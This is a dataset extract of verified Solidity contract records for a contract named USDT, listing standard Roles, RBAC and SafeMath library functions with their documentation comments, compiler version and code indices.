0x2be88f8b93d164936b776c5c6766441d193f23f7
Solidity
Roles
library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev give an address access to this role */ function add(Role storage role, address addr) internal { role.bearer[addr] = true; } /** * @dev remove an address' access to this role */ function remove(Role storage role, address addr) internal { role.bearer[addr] = false; } /** * @dev check if an address has this role * // reverts */ function check(Role storage role, address addr) view internal { require(has(role, addr)); } /** * @dev check if an address has this role * @return bool */ function has(Role storage role, address addr) view internal returns (bool) { return role.bearer[addr]; } }
/** * @title Roles * @author Francisco Giordano (@frangio) * @dev Library for managing addresses assigned to a Role. * See RBAC.sol for example usage. */
NatSpecMultiLine
remove
function remove(Role storage role, address addr) internal { role.bearer[addr] = false; }
/** * @dev remove an address' access to this role */
NatSpecMultiLine
v0.4.23+commit.124ca40d
None
bzzr://eed33e140d17ff18d31f71d6727fdc7d960e9ce28843d8ba5e8c8a25acfff25d
{ "func_code_index": [ 311, 418 ] }
7,099
USDT
USDT.sol
0x2be88f8b93d164936b776c5c6766441d193f23f7
Solidity
Roles
library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev give an address access to this role */ function add(Role storage role, address addr) internal { role.bearer[addr] = true; } /** * @dev remove an address' access to this role */ function remove(Role storage role, address addr) internal { role.bearer[addr] = false; } /** * @dev check if an address has this role * // reverts */ function check(Role storage role, address addr) view internal { require(has(role, addr)); } /** * @dev check if an address has this role * @return bool */ function has(Role storage role, address addr) view internal returns (bool) { return role.bearer[addr]; } }
/** * @title Roles * @author Francisco Giordano (@frangio) * @dev Library for managing addresses assigned to a Role. * See RBAC.sol for example usage. */
NatSpecMultiLine
check
function check(Role storage role, address addr) view internal { require(has(role, addr)); }
/** * @dev check if an address has this role * // reverts */
NatSpecMultiLine
v0.4.23+commit.124ca40d
None
bzzr://eed33e140d17ff18d31f71d6727fdc7d960e9ce28843d8ba5e8c8a25acfff25d
{ "func_code_index": [ 497, 612 ] }
7,100
USDT
USDT.sol
0x2be88f8b93d164936b776c5c6766441d193f23f7
Solidity
Roles
library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev give an address access to this role */ function add(Role storage role, address addr) internal { role.bearer[addr] = true; } /** * @dev remove an address' access to this role */ function remove(Role storage role, address addr) internal { role.bearer[addr] = false; } /** * @dev check if an address has this role * // reverts */ function check(Role storage role, address addr) view internal { require(has(role, addr)); } /** * @dev check if an address has this role * @return bool */ function has(Role storage role, address addr) view internal returns (bool) { return role.bearer[addr]; } }
/** * @title Roles * @author Francisco Giordano (@frangio) * @dev Library for managing addresses assigned to a Role. * See RBAC.sol for example usage. */
NatSpecMultiLine
has
function has(Role storage role, address addr) view internal returns (bool) { return role.bearer[addr]; }
/** * @dev check if an address has this role * @return bool */
NatSpecMultiLine
v0.4.23+commit.124ca40d
None
bzzr://eed33e140d17ff18d31f71d6727fdc7d960e9ce28843d8ba5e8c8a25acfff25d
{ "func_code_index": [ 693, 826 ] }
7,101
USDT
USDT.sol
0x2be88f8b93d164936b776c5c6766441d193f23f7
Solidity
RBAC
contract RBAC { using Roles for Roles.Role; mapping (string => Roles.Role) private roles; event RoleAdded(address addr, string roleName); event RoleRemoved(address addr, string roleName); /** * @dev reverts if addr does not have role * @param addr address * @param roleName the name of the role * // reverts */ function checkRole(address addr, string roleName) view public { roles[roleName].check(addr); } /** * @dev determine if addr has role * @param addr address * @param roleName the name of the role * @return bool */ function hasRole(address addr, string roleName) view public returns (bool) { return roles[roleName].has(addr); } /** * @dev add a role to an address * @param addr address * @param roleName the name of the role */ function addRole(address addr, string roleName) internal { roles[roleName].add(addr); emit RoleAdded(addr, roleName); } /** * @dev remove a role from an address * @param addr address * @param roleName the name of the role */ function removeRole(address addr, string roleName) internal { roles[roleName].remove(addr); emit RoleRemoved(addr, roleName); } /** * @dev modifier to scope access to a single role (uses msg.sender as addr) * @param roleName the name of the role * // reverts */ modifier onlyRole(string roleName) { checkRole(msg.sender, roleName); _; } /** * @dev modifier to scope access to a set of roles (uses msg.sender as addr) * @param roleNames the names of the roles to scope access to * // reverts * * @TODO - when solidity supports dynamic arrays as arguments to modifiers, provide this * see: https://github.com/ethereum/solidity/issues/2467 */ // modifier onlyRoles(string[] roleNames) { // bool hasAnyRole = false; // for (uint8 i = 0; i < roleNames.length; i++) { // if (hasRole(msg.sender, roleNames[i])) { // hasAnyRole = true; // break; // } // } // require(hasAnyRole); // _; // } }
/** * @title RBAC (Role-Based Access Control) * @author Matt Condon (@Shrugs) * @dev Stores and provides setters and getters for roles and addresses. * @dev Supports unlimited numbers of roles and addresses. * @dev See //contracts/mocks/RBACMock.sol for an example of usage. * This RBAC method uses strings to key roles. It may be beneficial * for you to write your own implementation of this interface using Enums or similar. * It's also recommended that you define constants in the contract, like ROLE_ADMIN below, * to avoid typos. */
NatSpecMultiLine
checkRole
function checkRole(address addr, string roleName) view public { roles[roleName].check(addr); }
/** * @dev reverts if addr does not have role * @param addr address * @param roleName the name of the role * // reverts */
NatSpecMultiLine
v0.4.23+commit.124ca40d
None
bzzr://eed33e140d17ff18d31f71d6727fdc7d960e9ce28843d8ba5e8c8a25acfff25d
{ "func_code_index": [ 353, 471 ] }
7,102
USDT
USDT.sol
0x2be88f8b93d164936b776c5c6766441d193f23f7
Solidity
RBAC
contract RBAC { using Roles for Roles.Role; mapping (string => Roles.Role) private roles; event RoleAdded(address addr, string roleName); event RoleRemoved(address addr, string roleName); /** * @dev reverts if addr does not have role * @param addr address * @param roleName the name of the role * // reverts */ function checkRole(address addr, string roleName) view public { roles[roleName].check(addr); } /** * @dev determine if addr has role * @param addr address * @param roleName the name of the role * @return bool */ function hasRole(address addr, string roleName) view public returns (bool) { return roles[roleName].has(addr); } /** * @dev add a role to an address * @param addr address * @param roleName the name of the role */ function addRole(address addr, string roleName) internal { roles[roleName].add(addr); emit RoleAdded(addr, roleName); } /** * @dev remove a role from an address * @param addr address * @param roleName the name of the role */ function removeRole(address addr, string roleName) internal { roles[roleName].remove(addr); emit RoleRemoved(addr, roleName); } /** * @dev modifier to scope access to a single role (uses msg.sender as addr) * @param roleName the name of the role * // reverts */ modifier onlyRole(string roleName) { checkRole(msg.sender, roleName); _; } /** * @dev modifier to scope access to a set of roles (uses msg.sender as addr) * @param roleNames the names of the roles to scope access to * // reverts * * @TODO - when solidity supports dynamic arrays as arguments to modifiers, provide this * see: https://github.com/ethereum/solidity/issues/2467 */ // modifier onlyRoles(string[] roleNames) { // bool hasAnyRole = false; // for (uint8 i = 0; i < roleNames.length; i++) { // if (hasRole(msg.sender, roleNames[i])) { // hasAnyRole = true; // break; // } // } // require(hasAnyRole); // _; // } }
/** * @title RBAC (Role-Based Access Control) * @author Matt Condon (@Shrugs) * @dev Stores and provides setters and getters for roles and addresses. * @dev Supports unlimited numbers of roles and addresses. * @dev See //contracts/mocks/RBACMock.sol for an example of usage. * This RBAC method uses strings to key roles. It may be beneficial * for you to write your own implementation of this interface using Enums or similar. * It's also recommended that you define constants in the contract, like ROLE_ADMIN below, * to avoid typos. */
NatSpecMultiLine
hasRole
function hasRole(address addr, string roleName) view public returns (bool) { return roles[roleName].has(addr); }
/** * @dev determine if addr has role * @param addr address * @param roleName the name of the role * @return bool */
NatSpecMultiLine
v0.4.23+commit.124ca40d
None
bzzr://eed33e140d17ff18d31f71d6727fdc7d960e9ce28843d8ba5e8c8a25acfff25d
{ "func_code_index": [ 614, 755 ] }
7,103
USDT
USDT.sol
0x2be88f8b93d164936b776c5c6766441d193f23f7
Solidity
RBAC
contract RBAC { using Roles for Roles.Role; mapping (string => Roles.Role) private roles; event RoleAdded(address addr, string roleName); event RoleRemoved(address addr, string roleName); /** * @dev reverts if addr does not have role * @param addr address * @param roleName the name of the role * // reverts */ function checkRole(address addr, string roleName) view public { roles[roleName].check(addr); } /** * @dev determine if addr has role * @param addr address * @param roleName the name of the role * @return bool */ function hasRole(address addr, string roleName) view public returns (bool) { return roles[roleName].has(addr); } /** * @dev add a role to an address * @param addr address * @param roleName the name of the role */ function addRole(address addr, string roleName) internal { roles[roleName].add(addr); emit RoleAdded(addr, roleName); } /** * @dev remove a role from an address * @param addr address * @param roleName the name of the role */ function removeRole(address addr, string roleName) internal { roles[roleName].remove(addr); emit RoleRemoved(addr, roleName); } /** * @dev modifier to scope access to a single role (uses msg.sender as addr) * @param roleName the name of the role * // reverts */ modifier onlyRole(string roleName) { checkRole(msg.sender, roleName); _; } /** * @dev modifier to scope access to a set of roles (uses msg.sender as addr) * @param roleNames the names of the roles to scope access to * // reverts * * @TODO - when solidity supports dynamic arrays as arguments to modifiers, provide this * see: https://github.com/ethereum/solidity/issues/2467 */ // modifier onlyRoles(string[] roleNames) { // bool hasAnyRole = false; // for (uint8 i = 0; i < roleNames.length; i++) { // if (hasRole(msg.sender, roleNames[i])) { // hasAnyRole = true; // break; // } // } // require(hasAnyRole); // _; // } }
/** * @title RBAC (Role-Based Access Control) * @author Matt Condon (@Shrugs) * @dev Stores and provides setters and getters for roles and addresses. * @dev Supports unlimited numbers of roles and addresses. * @dev See //contracts/mocks/RBACMock.sol for an example of usage. * This RBAC method uses strings to key roles. It may be beneficial * for you to write your own implementation of this interface using Enums or similar. * It's also recommended that you define constants in the contract, like ROLE_ADMIN below, * to avoid typos. */
NatSpecMultiLine
addRole
function addRole(address addr, string roleName) internal { roles[roleName].add(addr); emit RoleAdded(addr, roleName); }
/** * @dev add a role to an address * @param addr address * @param roleName the name of the role */
NatSpecMultiLine
v0.4.23+commit.124ca40d
None
bzzr://eed33e140d17ff18d31f71d6727fdc7d960e9ce28843d8ba5e8c8a25acfff25d
{ "func_code_index": [ 877, 1020 ] }
7,104
USDT
USDT.sol
0x2be88f8b93d164936b776c5c6766441d193f23f7
Solidity
RBAC
contract RBAC { using Roles for Roles.Role; mapping (string => Roles.Role) private roles; event RoleAdded(address addr, string roleName); event RoleRemoved(address addr, string roleName); /** * @dev reverts if addr does not have role * @param addr address * @param roleName the name of the role * // reverts */ function checkRole(address addr, string roleName) view public { roles[roleName].check(addr); } /** * @dev determine if addr has role * @param addr address * @param roleName the name of the role * @return bool */ function hasRole(address addr, string roleName) view public returns (bool) { return roles[roleName].has(addr); } /** * @dev add a role to an address * @param addr address * @param roleName the name of the role */ function addRole(address addr, string roleName) internal { roles[roleName].add(addr); emit RoleAdded(addr, roleName); } /** * @dev remove a role from an address * @param addr address * @param roleName the name of the role */ function removeRole(address addr, string roleName) internal { roles[roleName].remove(addr); emit RoleRemoved(addr, roleName); } /** * @dev modifier to scope access to a single role (uses msg.sender as addr) * @param roleName the name of the role * // reverts */ modifier onlyRole(string roleName) { checkRole(msg.sender, roleName); _; } /** * @dev modifier to scope access to a set of roles (uses msg.sender as addr) * @param roleNames the names of the roles to scope access to * // reverts * * @TODO - when solidity supports dynamic arrays as arguments to modifiers, provide this * see: https://github.com/ethereum/solidity/issues/2467 */ // modifier onlyRoles(string[] roleNames) { // bool hasAnyRole = false; // for (uint8 i = 0; i < roleNames.length; i++) { // if (hasRole(msg.sender, roleNames[i])) { // hasAnyRole = true; // break; // } // } // require(hasAnyRole); // _; // } }
/** * @title RBAC (Role-Based Access Control) * @author Matt Condon (@Shrugs) * @dev Stores and provides setters and getters for roles and addresses. * @dev Supports unlimited numbers of roles and addresses. * @dev See //contracts/mocks/RBACMock.sol for an example of usage. * This RBAC method uses strings to key roles. It may be beneficial * for you to write your own implementation of this interface using Enums or similar. * It's also recommended that you define constants in the contract, like ROLE_ADMIN below, * to avoid typos. */
NatSpecMultiLine
removeRole
function removeRole(address addr, string roleName) internal { roles[roleName].remove(addr); emit RoleRemoved(addr, roleName); }
/** * @dev remove a role from an address * @param addr address * @param roleName the name of the role */
NatSpecMultiLine
v0.4.23+commit.124ca40d
None
bzzr://eed33e140d17ff18d31f71d6727fdc7d960e9ce28843d8ba5e8c8a25acfff25d
{ "func_code_index": [ 1147, 1298 ] }
7,105
USDT
USDT.sol
0x2be88f8b93d164936b776c5c6766441d193f23f7
Solidity
SafeMath
library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } }
/** * @title SafeMath * @dev Math operations with safety checks that throw on error */
NatSpecMultiLine
mul
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; }
/** * @dev Multiplies two numbers, throws on overflow. */
NatSpecMultiLine
v0.4.23+commit.124ca40d
None
bzzr://eed33e140d17ff18d31f71d6727fdc7d960e9ce28843d8ba5e8c8a25acfff25d
{ "func_code_index": [ 89, 476 ] }
7,106